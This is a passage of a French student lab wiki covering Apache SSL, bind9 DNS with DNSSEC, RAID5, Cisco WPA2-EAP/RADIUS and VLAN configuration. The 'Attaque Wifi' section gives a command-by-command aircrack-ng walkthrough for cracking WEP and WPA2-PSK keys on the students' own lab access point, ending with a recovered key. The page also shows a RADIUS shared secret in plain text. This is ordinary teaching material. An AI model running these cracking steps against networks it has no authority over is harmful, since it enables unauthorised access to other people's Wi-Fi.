                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
